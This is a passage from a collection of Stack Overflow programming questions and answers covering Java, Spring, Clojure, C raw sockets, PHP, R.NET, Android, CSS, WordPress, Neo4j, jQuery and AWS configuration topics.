url="jdbc:mysql://localhost:3306/mydb?useUnicode=true&amp;amp;characterEncoding=utf8" validationQuery="SELECT 1" removeAbandoned="true" removeAbandonedTimeout="300" /&gt; </code></pre> <p>For some reason this does not work. </p> <p>I see this in the log: Exception Description: Unable to acquire a connection from driver [null], user [null] and URL [null].</p> <p>What is wrong or what do i have to add?</p>
21983359	0	Compojure/Clojure error with routes <p>I am making a web-app using Clojure/ring/compojure and am having trouble with the routing. I have two files: web.clj and landing.clj. I want to route the user who navigates to the uri from the web.clj handler to the landing.clj one and for the home function to be called which will render the front page of my app. I can't for the life of me seem to grok the semantics, please help. Documentation that I read assumes a lot of web-dev knowledge and I am a beginner. I am now getting a 404 error message in the browser when I run the local server from Leiningen. I know That it is going through the defroutes in the landing.clj file, because the address bar shows <code>http://0.0.0.0:5000/landing</code>, when I load <code>http://0.0.0.0:5000</code>.</p> <p>This is the code for my web.clj file, which successfully redirects to the landing.clj file:</p> <pre><code> (defroutes app (ANY "/repl" {:as req} (drawbridge req)) (GET "/" [] (redirect "landing")) ;; come fix this later (ANY "*" [] (route/not-found (slurp (io/resource "404.html"))))) </code></pre> <p>This is from the landing.clj file, the error is located somewhere with the <code>GET "/"</code> function:</p> <pre><code>(defroutes app (GET "/" [] {:status 200 :headers {"Content-Type" "text/html"} :body (home)}) (POST "/" [weights grades] ((process-grades (read-string weights) (read-string grades)) )) (ANY "*" [] (route/not-found (slurp (io/resource "404.html"))))) </code></pre>
37733947	0	How to track time taken for each goal in a Maven build? <p>Maven reports overall time taken for each module at the end of a build but how can I instrument Maven to report how long running each goal took in a build? This information can be even more helpful in a multi-module build.</p>
6101225	0	 <p>You can also comment a block with =begin and =end like this:</p> <pre><code>&lt;% =begin %&gt; &lt;%= link_to "Sign up now!", signup_path, :class =&gt; "signup_button round" %&gt; &lt;% =end %&gt; </code></pre>
13343128	0	 <p>I think I've found a workaround:</p> <p>In the Eclipse instance you want to disable DDMS, select: </p> <pre><code>Windows &gt; Preferences &gt; DDMS </code></pre> <p>And change the "Base local debugger port to some unused port number (such as 22222).</p> <p>There is an error messages about not being able to connect to DDMS, but after dismissing it, it stops competing with the other Eclipse.</p>
30495195	0	No mapping found for HTTP request with URI [] in DispatcherServlet with name 'spring' <p>I am having problem in viewresolver in spring framework .</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-3.0.xsd"&gt; &lt;context:component-scan base-package="com.controller" /&gt; &lt;mvc:annotation-driven/&gt; &lt;!-- &lt;bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"&gt; &lt;property name="prefix" value="" /&gt; &lt;property name="suffix" value="InfraUI.html" /&gt; &lt;/bean&gt; --&gt; &lt;bean id="viewResolver" class="org.springframework.web.servlet.view.UrlBasedViewResolver"&gt; &lt;property name="viewClass" value="org.springframework.web.servlet.view.JstlView"/&gt; &lt;property name="prefix" value="" /&gt; &lt;property name="suffix" value="Home.html" /&gt; &lt;property name="order" value="0" /&gt; &lt;/bean&gt; &lt;mvc:resources mapping="/WebContent/**" location="/WebContent/" /&gt; &lt;!-- Initialization for data source --&gt; &lt;bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource"&gt; &lt;property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/&gt; &lt;property name="url" value="jdbc:oracle:thin:@127.0.0.1:1521:XE"/&gt; &lt;property name="username" value="XXXX"/&gt; &lt;property name="password" value="XXXX"/&gt; &lt;/bean&gt; &lt;!-- Definition for JDBCTemplate bean --&gt; &lt;bean id="JDBCTemplate" class="com.dao.JDBCTemplate"&gt; &lt;property name="dataSource" ref="dataSource" /&gt; &lt;/bean&gt; &lt;/beans&gt; </code></pre> <h2>web.xml</h2> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;web-app id="WebApp_ID" version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"&gt; &lt;display-name&gt;E-Health3&lt;/display-name&gt; &lt;welcome-file-list&gt; &lt;welcome-file&gt;InfraUI.html&lt;/welcome-file&gt; &lt;/welcome-file-list&gt; &lt;servlet&gt; &lt;servlet-name&gt;spring&lt;/servlet-name&gt; &lt;servlet-class&gt; org.springframework.web.servlet.DispatcherServlet &lt;/servlet-class&gt; &lt;!-- &lt;init-param&gt; &lt;param-name&gt;contextConfiguration&lt;/param-name&gt; &lt;param-value&gt;/WebContent/WEB-INF/spring-servlet.xml&lt;/param-value&gt;&lt;/init-param&gt; --&gt; &lt;load-on-startup&gt;1&lt;/load-on-startup&gt; &lt;/servlet&gt; &lt;servlet-mapping&gt; &lt;servlet-name&gt;spring&lt;/servlet-name&gt; &lt;url-pattern&gt;*.html&lt;/url-pattern&gt; &lt;/servlet-mapping&gt; &lt;/web-app&gt; </code></pre> <p>Controller:</p> <pre><code>package com.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; @Controller public class CustomController { @RequestMapping(value="/",params="abcd") public void test() { System.out.println("in test method of conroller"); } } </code></pre> <p>what I was trying is to send a request from html page to spring controller and return an JSON from spring controller to the requesting page. But now I am getting this error after to build through tomcat,</p> <pre><code>org.springframework.web.servlet.PageNotFound noHandlerFound WARNING: No mapping found for HTTP request with URI [/CONTEXTROOT/] in DispatcherServlet with name 'spring' </code></pre>
31644740	0	 <p>I think you should optimise your adapter for recycler view. PagerAdapter is not the culprit. It would be Recycler View that is involved in scrolling.</p> <p>Ideally you should use bean classes instead of ArrayList> because it takes more time to compute has code on keys every time. Also you should take care of following things.</p> <p>Also you are calling <code>arrayList.get(position)</code> every time you want to get some data, call it single time and make the reference of it in bindView and use that reference every where.</p> <p>Make your view hierarchy as flatten as possible, because view hierarchy matters a lot in AdapterViews and can have impact on performance depending upon nesting level.</p>
2610216	0	 <p>Either use SFTP or just plain FTP on an secure, encrypted connection.</p>
36292016	0	C - create TCP SYN without filling IP header using raw socket <p>I want my application to create TCP SYN packet and send on network. I did not set <code>IP_HDRINCL</code> using <code>setsockopt</code> because I want the kernel to fill the IP Header.</p> <p>I tried </p> <ol> <li>using a byte buffer to include TCP Header + Payload </li> <li>using a byte buffer to include IP Header + TCP Header + Payload.</li> </ol> <p>Both above methods returned <code>sendto</code> error -1 and errno is set to 88 Following is the code I used </p> <pre><code>#include &lt;sys/socket.h&gt; #include &lt;sys/types.h&gt; #include &lt;netinet/in.h&gt; #include &lt;netinet/ip.h&gt; #include &lt;netinet/tcp.h&gt; #include &lt;errno.h&gt; int main() { int sockfd; if(sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP) &lt; 0) { printf("sokcet functin failed : \n"); exit (-1); } char packet[512]; struct sockaddr_in remote; // remote address struct iphdr *ip = (struct iphdr *) packet; struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr); /* struct tcphdr *tcp = (struct tcphdr *) packet; // tcp header */ remote.sin_family = AF_INET; // family remote.sin_addr.s_addr = inet_addr("192.168.0.57"); // destination ip remote.sin_port = htons(atoi("3868")); // destination port memset(packet, 0, 512); // set packet to 0 tcp-&gt;source = htons(atoi("6668")); // source port tcp-&gt;dest = htons(atoi("3868")); // destination port tcp-&gt;seq = htons(random()); // inital sequence number tcp-&gt;ack_seq = htons(0); // acknowledgement number tcp-&gt;ack = 0; // acknowledgement flag tcp-&gt;syn = 1; // synchronize flag tcp-&gt;rst = 0; // reset flag tcp-&gt;psh = 0; // push flag tcp-&gt;fin = 0; // finish flag tcp-&gt;urg = 0; // urgent flag tcp-&gt;check = 0; // tcp checksum tcp-&gt;doff = 5; // data offset int err; if((err = sendto(sockfd, packet, sizeof(struct iphdr), 0, (struct sockaddr *)&amp;remote, sizeof(struct sockaddr))) &lt; 0) { // send packet printf("Error: Can't send packet : %d %d !\n\n", err, errno); return -1; } </code></pre> <p>Why i am getting the <code>sendto</code> error -1 and errno 88? </p> <p>Also, I want to know how to determine the length of data that is to be used in second argument in <code>sendto</code> function. If I hard code it to size of packet byte buffer i.e. 512 bytes, is it wrong ? </p>
19164698	0	How to select a row based on its row number? <p>I'm working on a small project in which I'll need to select a record from a temporary table based on the actual row number of the record.</p> <p>How can I select a record based on its row number?</p>
33949162	0	 <p>to actually get the response you must add:</p> <pre><code>curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); </code></pre> <p>don't scrape google, even to test, they actively detect and stop this</p>
33234871	0	How can I convert a data table in C# to data.fame in R using R.net <p>I need to convert a data table which I have defined as follows to a data frame in R.</p> <pre><code>DataTable dtb = new DataTable(); dtb.Columns.Add("Column1", Type.GetType("System.String")); dtb.Columns.Add("Column2", Type.GetType("System.String")); DataRow dtr1 = dtb.NewRow(); dtr1[0] = "abc"; dtr1[1] = "cdf"; dtb.Rows.Add(dtr1); DataRow dtr2 = dtb.NewRow(); dtr2[0] = "asdasd"; dtr2[1] = "cdasdasf"; dtb.Rows.Add(dtr2); </code></pre> <p>Is there any way to convert above DataTable "<code>dtb</code>" to a data.frame in R. I have defined this DataTable in C# but I need to do computation in R, that is why I need to pass it to R.</p>
28853966	0	 <p>You don't need any restriction. Just get the profile of the logged user and edit it:</p> <pre><code>@login_required def edit_profile(request): profile = request.user.profile ... </code></pre>
40255308	0	Why default proguard configurations in android sdk use keep *Annotation* <p>There is one line in the default proguard configuration of android sdk:</p> <pre><code>-keepattributes *Annotation* </code></pre> <p>According to Proguard Manual, this line equals to:</p> <pre><code>-keepattributes RuntimeVisibleAnnotations,RuntimeInvisibleAnnotations,RuntimeVisibleParameterAnnotations,RuntimeInvisibleParameterAnnotations,RuntimeVisibleTypeAnnotations,RuntimeInvisibleTypeAnnotations,AnnotationDefault </code></pre> <p>In my opinion, maybe the configuration below is enough:</p> <pre><code>-keepattributes RuntimeVisibleAnnotations,RuntimeVisibleParameterAnnotations,RuntimeVisibleTypeAnnotations,AnnotationDefault </code></pre> <p>Have I missing something? Why the recommend configuration keep all this things?</p>
35685490	0	 <p>For me, this ERROR was the result of utilizing NSURLProtocol and the "setProperty" method.</p> <p>[NSURLProtocol setProperty:FOO forKey:BAR inRequest:newRequest];</p> <p>I am not exactly certain of what is going on here, but from my experience I had two NSURLProtocol implementations. One needed property (FOO) and the other didn't. </p> <p>Core Code sets (FOO) NSURLProtocol #1 gets (FOO) and handles the COMM itself --- no issue</p> <p>NSURLProtocol #2 doesn't access (FOO) and hands of the COMM to a SESSION -- shows the error above</p> <p>Commenting out the Core Code that sets the (FOO) property solves the problem for NSURLProtocol #2. Obviously if you are using 3rd-party code, this would be more difficult to manage.</p> <p>BTW, in my case this "ERROR" didn't break the follow of logic and operated more as a warning.</p>
34947769	0	 <p>This should do it:</p> <pre><code>perl -ne '/ZTFN00\D+(\d+)/ &amp;&amp; print $1,"\n"' yourfile </code></pre> <p>If your 'number' is always separated by whitespace ( where there 00 after ZTFN isn't) then you can use that as your test:</p> <pre><code>perl -ne 'print m/\b(\d+)\b/,"\n"' yourfile </code></pre>
37818981	0	 <p>By default the body on the page has this css:</p> <pre><code>body { display: block; margin: 8px; } body:focus { outline: none; } </code></pre> <p>at the top of your css file just add:</p> <pre><code>body { margin:0; } </code></pre> <p>this way you're working with 0 margins to begin with.</p>
8442931	0	Margin on table <p>I have a margin-top problem on my <code>&lt;table&gt;</code>. The <code>&lt;p&gt;</code> is staggered for every line. I have tried to define the table in css, but it doesn't work.</p> <p><a href="http://whatsyourproblem.dk/?page_id=89" rel="nofollow">http://whatsyourproblem.dk/?page_id=89</a> </p>
19661658	0	Show Wordpress Posts Associated with Certain Author <p>Suppose I want to show posts from one certain author on the main index of a wordpress website, how would I go about this ?? Below is a loop from the twenty thirteen theme:</p> <pre><code>&lt;?php $curauth = (isset($_GET['liamhodnett'])) ? get_user_by('liamhodnett', $author) : get_userdata(intval($author)); ?&gt; &lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&gt; &lt;li&gt; &lt;a href="&lt;?php the_permalink() ?&gt;" rel="bookmark" title="Permanent Link: &lt;?php the_title(); ?&gt;"&gt; &lt;?php the_title(); ?&gt;&lt;/a&gt;, &lt;?php the_time('d M Y'); ?&gt; in &lt;?php the_category('&amp;');?&gt; &lt;/li&gt; &lt;?php endwhile; else: ?&gt; &lt;p&gt;&lt;?php _e('No posts by this author.'); ?&gt;&lt;/p&gt; &lt;?php endif; ?&gt; </code></pre>
22643899	0	 <p>Darrell, if you run embedded there are no ports and no config files. </p> <p>You just provide store-directories and optionally database config to your <code>GraphDatabaseService</code> instances which are (in Spring Data Neo4j) created as spring beans.</p> <p>Unfortunately there is no compatible way between 1.9 and 2.0 as the public constructors of <code>EmbeddedGraphDatabase</code> were removed in 2.0 and I added a <code>GraphDatabaseServiceFactoryBean</code> in SDN 3.0 / Neo4j 2.0.</p> <p>To run a server with an embedded Neo4j you'd probably have to go the way of extending <code>CommunityBootstrapper</code>. But here is no out of the box way integrating this in Spring right now.</p> <p>So to make it work, I'd probably create a subclass of <code>CommunityBootstrapper</code> which starts the server, but can be passed in the <code>GraphDatabaseService</code> from the outside.</p> <p>See my in-memory-server project for some hints: <a href="https://github.com/jexp/neo4j-in-memory-server" rel="nofollow">https://github.com/jexp/neo4j-in-memory-server</a></p>
43219	0	 <p>We use <a href="http://www.sqlmanager.net/en/products/dbcomparer" rel="nofollow noreferrer">DB Comparer</a> from EMS - they have a large range of tools each specifically targeted for a particular platform (they support SQL Server, MySQL, Interbase/Firebird, PostgreSQL, Oracle etc).</p> <p>The program allows you to compare 2 databases, and generate scripts for going from each database schema to the other. It works out dependencies and each of the script components are shown in a sort-of visual way (it's really a glorified owner-drawer listbox, I think). You can run bits of the script against the relevant database, save scripts down to files, etc etc.</p> <p>We use it mostly for keeping our development SQL Server 2005 databases in line with each other.</p> <p>It's not free, but there is a trial version available and it's not particularly expensive given what it does.</p> <p>We have quite a number of EMS tools here and they're all pretty good - much prefer using their <a href="http://www.sqlmanager.net/en/products/mssql/manager" rel="nofollow noreferrer">SQL Manager for SQL Server</a> tool to the ones that come with SQL Server, or any of the commercial offerings we looked at a couple of years ago (Toad, Redgate, Embarcadero etc from memory, I think).</p>
30455219	0	catch mongo requests from app server <p>I have a MVC .net application, running on IIS, that uses mongo. The mongo servers are sharded, and not in my control. I want to see the request that my application server sends to mongo (the queries in the mongo syntax).</p> <p>I tries fiddler, but I saw that the communication to mongo is through TCP, so I tried wireshark. In wireshark I see the request, but is how do I see the full request?</p> <p>Thanks for the help!</p> <p>Edit: The answer that was suggested does not answer what I wanted. I want to see from the application server the requests. It will help me follow what happens in certain situations. Also because we work with 4 mongo servers I don't know with will handle each request.</p>
5590206	0	 <p>I believe your instinct to create shorter segments with joints connecting them is correct and yes, the number of bodies you end up creating for a length of rope will have an effect on the performance.</p> <p>To know whether it will work for your particular situation, I would suggest creating a rope with variable length segments and make a decision based off benchmarking the performance as to how smooth you can make the rope by increasing the number of segments.</p>
35359541	0	 <p>I think you are looking for this: <a href="https://www.git-notifier.com/" rel="nofollow">https://www.git-notifier.com/</a></p> <p>The email notifications are for free, but to send SMS to your mobile it is not for free. Hope it helps.</p>
2338843	0	ActiveRecord Claims No Adaptor Specified <p>When I try to run the following, I get an error back from ActiveRecord stating that the connector hasn't been found.</p> <pre><code>require 'activerecord' ActiveRecord::Base.establish_connection( :adaptor =&gt; "sqlite3", :database =&gt; "db.sqlite3" ) </code></pre> <p>Error Message:</p> <pre><code>&gt;&gt; ActiveRecord::Base.establish_connection("adaptor" =&gt; "sqlite3-ruby") ActiveRecord::AdapterNotSpecified: database configuration does not specify adapter from /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/gems/1.8/ gems/activerecord/2.2.2/lib/active_record/connection_adapters/abstract/ connection_specification.rb:64:in `establish_connection' </code></pre> <p>Is the ActiveRecord gem broken, or is the initial code incorrect?</p>
27295570	0	HTTP POST is not working from Java <p>I am trying to do an http post. Same code was working.But now it is not hitting my servlet now, but giving http response code 200. From browser same url is hitting the servlet. Is there anything that restricting my post?. Please help me on it. Sorry for bad english.</p> <pre><code>int timeout=3000; String url="http://localhost:8020/WiCodeDynamic/WiCode?json="; String requestUrl="{\"vspCredentials\":{\"id\":\"TET\",\"password\":\"test\"}}"; URL x = new URL(url); HttpURLConnection connection =(HttpURLConnection)x.openConnection(); connection.setRequestMethod("POST"); //;charset=utf-8 connection.setRequestProperty("Content-type","application/json"); connection.setDoOutput(true); connection.setConnectTimeout(timeout); BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(connection.getOutputStream())); bw.write(requestUrl); bw.flush(); int resp_code = connection.getResponseCode(); String resp_msg = connection.getResponseMessage(); System.out.println("resp_code="+resp_code); System.out.println("resp_msg="+resp_msg); </code></pre> <p>brs,</p>
34818481	0	 <p><code>from app.models import Entry</code></p> <p>You must import Entry from the models module of the app.</p> <p>You may also need to add relative imports in your <code>__init__</code> for any custom modules.</p> <p>add to your <code>__init__</code></p> <p><code>from .models import *</code></p> <p>edit: Another useful debugging tip - is to use the <code>dir()</code> function to see what is included in a package. In your case, the imports are working so you can run something like</p> <p><code>dir(app)</code></p> <blockquote> <p>With an argument, attempt to return a list of valid attributes for that object.</p> </blockquote> <p>for instance here is a returned list for a flask app I wrote.if You cant see your moudle here, add the import.</p> <p><a href="https://i.stack.imgur.com/0YD4N.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/0YD4N.png" alt="enter image description here"></a></p>
9814125	0	Hosted video - fullwidth preview on starred post? <p>When you post a YouTube video to your timeline and STAR the post, the video preview displays fullwidth. Same goes for a video uploaded to Facebook when starred. </p> <p>We self-host our video (flowplayer) and playing in-line works fine, but when we star a post with our own inline video, we get a small thumbnail preview with description text on the right. <strong>Any ideas what drives the fullwidth behaviour?</strong> </p> <p>Thanks!</p>
1482487	0	 <p>You could programmatically extract the jar file, <a href="http://www.devx.com/tips/Tip/22124" rel="nofollow noreferrer">http://www.devx.com/tips/Tip/22124</a>, the update one file that will prevent the application from running anymore, then rejar it.</p> <p>The other option would be to just delete some critical class from the jar file, but neither of these will prevent it from being run again, as they can copy the jar file.</p> <p>You can't update a registry as there isn't a platform independent way to do that.</p>
14565895	0	 <p>This behaviour is fixed in the latest <a href="https://github.com/jzaefferer/jquery-validation/archive/master.zip" rel="nofollow">jquery-validate.js on github</a>. The bug was reported as </p> <blockquote> <p>'E-mail validation fires immediately when text is in the field'</p> </blockquote> <p><a href="https://github.com/jzaefferer/jquery-validation/issues/521" rel="nofollow">bug report and discussion here</a> </p>
26267570	0	How to select rows from Table X who share the least relationships with Table Y? <p>suppose we have the following two tables</p> <pre><code>TABLE: PEOPLE +----+------+ | id | name | +----+------+ | 1 | john | +----+------+ | 2 | mike | +----+------+ | 3 | derp | +----+------+ TABLE: Images +----+-----------+----------+ | id | person_id | image | +----+-----------+----------+ | 1 | 3 | img1.jpg | +----+-----------+----------+ | 2 | 3 | img2.jpg | +----+-----------+----------+ | 3 | 2 | img3.jpg | +----+-----------+----------+ </code></pre> <p>I need to a query that selects all people from <code>people</code> table and orders them ASC by the ones that have the least images in the images table</p> <p>So the order of the returned rows would be</p> <pre><code>John Mike Derp </code></pre>
15822140	0	 <p>You probably want to do a <code>LEFT JOIN</code> and a <code>GROUP_CONCAT</code> and <code>HAVING</code> to get the info you are looking for:</p> <pre><code>SELECT i.id, i.title, GROUP_CONCAT( l.stockcode SEPARATOR ',' ) extras FROM items i LEFT JOIN ledger l ON i.id = l.itemid WHERE i.id = 123 HAVING SUM(l.qty) &gt; 0 </code></pre> <p>See this <a href="http://sqlfiddle.com/#!2/4db68/4" rel="nofollow">SQL Fiddle</a></p>
25096117	0	 <pre><code>$ cat file [foo] name = 3 name = 17 [bar] name = 24 name = 5 $ awk -v id="foo" '/\[/{f=index($0,"["id"]")} f' file [foo] name = 3 name = 17 $ awk -v id="bar" '/\[/{f=index($0,"["id"]")} f' file [bar] name = 24 name = 5 </code></pre> <p>The above just sets a flag (<code>f</code> for found) when it finds a line containing <code>[foo]</code>, for example, and clears it when it finds the next line containing a <code>[</code>. When <code>f</code> is set it prints the line.</p> <p>Note also that unlike any possible sed solution, the above will be unaffected by RE metacharacters or delimiter characters in the search variable (e.g. <code>., ?, *, +, /, (, etc.</code>) since it is looking for a STRING not a regular expression.</p>
6277869	0	 <p>You could disable rich-text features of the editor so that HTML tags and characters don't get added to the content.</p>
31872653	0	How can i determine that CollapsingToolbar is collapsed? <p>I need to know when CollapsingToolbar from material design library is collapsed.</p>
28302016	0	How can I simulate events like Series1DblClick or Chart1ClickSeries when programatically creating Charts and Series on the runtime? <p>In a small Delphi program I create few TCharts and TBarSeries programmatically on the runtime but then I want to be able to click on a bar of the chart and fire, for example, a Chart1ClickSeries event to display information of that bar. Is that possible??</p>
40642093	0	 <p>Your best bet is to:</p> <ol> <li>Review all of the docs (<a href="https://netsuite.custhelp.com/app/home" rel="nofollow noreferrer">NetSuite SuiteAnswers</a>).</li> <li>Install the SuiteScript IDE (needs Eclipse).</li> <li>Get in and mess around with sample use cases. Then ask about those, including a sample of the code you have tried.</li> </ol>
15280048	0	 <p>You are only stopping the animation of certain classes. To achieve a "global" stop in animation, you will have to clear the animation queue for all elements that will be potentially animated in your JS function.</p> <p>This will mean doing something along the line of:</p> <pre><code>$(document).ready(function() { var activeNews = "01"; $(".newsNav.forward").click(function(event) { event.preventDefault(); // Pre-emptively stops all animation $(".newsItem").stop(true, true); // Note the removal of the .stop() method before each animation if (activeNews == 01) { $(".newsItem.01").fadeOut(250, function() { $(".newsItem.02").fadeIn(250); }); activeNews = 02; } else if (activeNews == 02) { $(".newsItem.02").fadeOut(250, function() { $(".newsItem.03").fadeIn(250); }); activeNews = 03; } else if (activeNews == 03) { $(".newsItem.03").fadeOut(250, function() { $(".newsItem.01").fadeIn(250); }); activeNews = 01; } }); }); </code></pre>
26857394	0	 <p>It will be pretty straight forward with jQuery. Below Fiddle will help you.</p> <p><a href="http://jsfiddle.net/17g6q8k0/2/" rel="nofollow">http://jsfiddle.net/17g6q8k0/2/</a></p> <pre><code>var sourceSwap = function () { var $this = $(this); var newSource = $this.data('alt-src'); $this.data('alt-src', $this.attr('src')); $this.attr('src', newSource); } $(function() { $('img[data-alt-src]').each(function() { new Image().src = $(this).data('alt-src'); }).hover(sourceSwap, sourceSwap); }); </code></pre>
40486918	0	Are AWS Security Group Port Ranges Inclusive or Exclusive <p>AWS security groups allow a port range to be specified for permitted traffic, written in the form <code>1234-5678</code>: would that be inclusive of ports <code>1234</code> and <code>5678</code>, or exclusive of either/both of those ports?</p> <p>The <a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html#adding-security-group-rule" rel="nofollow noreferrer">documentation</a> doesn't seem to describe this.</p>
17254798	0	Check Which Website is Visited <p>I've been having trouble finding a way to check if the user of the program is visiting a specific website. If I wanted to open a pop up box telling me which website I was currently on, what would be the best way to do it?</p> <p>I've been thinking about various ways but I can never come to a definite conclusion. Thought about checking which browser is open by browsing the processes or checking the window, but how would I find it out? Even if I didn't find out exact website address but just the name, would be fine.</p> <p>For example, right now the window open says 'Check Which Website is Visited - Stack Overflow - Mozilla Firefox', is there a way to get that from a programming standpoint? Like somehow check and read what windows are currently open. </p> <p>Thanks for any help.</p>
23812057	0	 <p>Your empty view needs to be set to <code>android:visibility="gone"</code> and be at the same level as your <code>ListView</code> in your activity/fragment layout file.</p>
28604276	0	 <p>It seems one of <code>GetSuppliers()</code> ` is not executed till the part where you set</p> <pre><code>con.Close() </code></pre> <p>You have two alternatives:</p> <p>1.Open the connection only once and use it in every method without closing it and close it on <code>Application.Exit</code>:</p> <pre><code> public Add() { InitializeComponent(); con.Open(); } ......... private void Add_Closing(object sender, EventArgs e) { con.Close(); } </code></pre> <ol start="2"> <li><p>Set this check in every attempt to open con:</p> <p>if (con.State == ConnectionState.Closed) { con.Open(); }</p></li> </ol>
744275	0	 <p>On the whole topic of IE6, whenever you get to that point of moving IT out of the past, you could use this: </p> <p><a href="http://code.google.com/p/ie6-upgrade-warning/" rel="nofollow noreferrer">http://code.google.com/p/ie6-upgrade-warning/</a></p>
5656805	0	 <p>I had a similar problem using Star Impact Printer, spend over two days using all codes. At end resolve it by using RawPrinterHelper class available from Microsoft. Here is the code which I have used to open the cash Drawer attached to the printer. s = Chr(&amp;H7); RawPrinterHelper.SendStringToPrinter(receiptprinter, s); You can substitute s for the full Receipt text. It should do graphics as well , but I have not tried it.</p>
32068342	0	 <p>You can use,</p> <p>Your html,</p> <pre><code>&lt;table&gt; &lt;tr class="" role="row"&gt; &lt;td class="e-rowcell e-templatecell" role="gridcell" style="text-align: center;"&gt; &lt;input type="checkbox" class="XAxisrowCheckbox"&gt; &lt;/td&gt; &lt;td class="e-rowcell e-hide" role="gridcell" style="text-align: left;"&gt;0&lt;/td&gt; &lt;td class="e-rowcell" role="gridcell" style="text-align: left;"&gt;Location ID&lt;/td&gt; &lt;/tr&gt; &lt;tr class="e-alt_row" role="row" aria-selected="true"&gt; &lt;td class="e-rowcell e-templatecell e-selectionbackground e-active" role="gridcell" style="text-align: center;"&gt; &lt;input type="checkbox" class="XAxisrowCheckbox"&gt; &lt;/td&gt; &lt;td class="e-rowcell e-hide e-selectionbackground e-active" role="gridcell" style="text-align: left;"&gt;1&lt;/td&gt; &lt;td class="e-rowcell e-selectionbackground e-active" role="gridcell" style="text-align: left;"&gt;Location Name&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>Create class called <code>red</code>,</p> <pre><code>.red { background-color: red; } </code></pre> <p>Simply apply class when Checkbox is checked</p> <pre><code>$(document).on('click', '.XAxisrowCheckbox', function () { $(this).parents("tr").toggleClass("red", this.checked); }); </code></pre> <p><a href="http://Fiddle" rel="nofollow"><strong>Fiddle Demo</strong></a></p>
40670046	0	 <p>The error says it all: fgets() expects three arguments. You are giving it one. </p> <p>So, call it like this:</p> <pre><code>fgets(buffer, 256, stdin) </code></pre> <p><em>buffer</em> is where the input is to be stored, <em>256</em> is the size of the buffer, <em>stdin</em> is the stream to read from. </p> <p>Also, <a href="http://stackoverflow.com/questions/3209909/how-to-printf-unsigned-long-in-c">use %lu</a> instead of %d as the format specifier for unsigned long. </p> <p><strong>Edit</strong>: <a href="http://stackoverflow.com/questions/2524611/how-can-one-print-a-size-t-variable-portably-using-the-printf-family">Use the z modifier</a> as <code>%zu</code> for the value returned by <code>strlen</code>, which is of type <code>size_t</code></p>
23918462	0	angular directive unit testing with jasmine with template and link <p>I have a directive as below which i want to cover as part of my jasmine unit test but not sure how to get the template value and the values inside the link in my test case. This is the first time i am trying to unit test a directive.</p> <pre><code>angular.module('newFrame', ['ngResource']) .directive('newFrame', [ function () { function onAdd() { $log.info('Clicked onAdd()'); } return { restrict: 'E', replace: 'true', transclude: true, scope: { filter: '=', expand: '=' }, template: '&lt;div class="voice "&gt;' + '&lt;section class="module"&gt;' + '&lt;h3&gt;All Frames (00:11) - Summary View&lt;/h3&gt;' + '&lt;button class="btn" ng-disabled="isDisabled" ng-hide="isReadOnly" ng-click="onAdd()"&gt;Add a frame&lt;/button&gt;' + '&lt;/section&gt;' + '&lt;/div&gt;', link: function (scope) { scope.isDisabled = false; scope.isReadOnly = false; scope.onAdd = onAdd(); } }; } ]); </code></pre>
18857214	0	 <p>I also ran into the same issue. It would seem that the <code>transactionReceipt</code> on the <code>originalTransaction</code> will always return nil when restoring purchases. From the Discussion in the apple docs for <code>transactionReceipt</code>:</p> <p><a href="https://developer.apple.com/library/ios/documentation/StoreKit/Reference/SKPaymentTransaction_Class/Reference/Reference.html#//apple_ref/occ/instp/SKPaymentTransaction/originalTransaction" rel="nofollow">Discussion</a><br> The contents of this property are undefined except when <code>transactionState</code> is set to <code>SKPaymentTransactionStateRestored</code>.</p> <p>Since during a restore (of a consumable item) the <code>transactionState</code> is always set to <code>SKPaymentTransactionStatePurchased</code>, the <code>originalTransaction.transactionReceipt</code> property will always be nil.</p>
2112442	0	Streaming Flash Video Problem - Clipping <p>I have a simple flash video player that streams the video from a streaming media server. The stream plays fine and I have no problems with playing the video and doing simple functions. However, my problem is that on a mouse over of the video, I have the controls come up and when I do a seek or scrub on the video, I get little weird boxes that show over the video - like little pockets - of the video playing super fast (you can basically see it seeking) until it gets to the point it needs to be at and then these little boxes disappear. Is anybody else having these problems and if so, how do I fix this? I thought it might be some kind of masking problem, but I haven't been able to figure it out. Please Help!!!</p>
28795269	0	 <pre><code>$newArray = []; foreach($array as $value) { foreach($value as $key =&gt; $data) { $newArray[$key][] = $data; } } var_dump($newArray); </code></pre> <p>or </p> <pre><code>$newArray = []; foreach($array as $value) { $newArray = $newArray + $data; } var_dump($newArray); </code></pre>
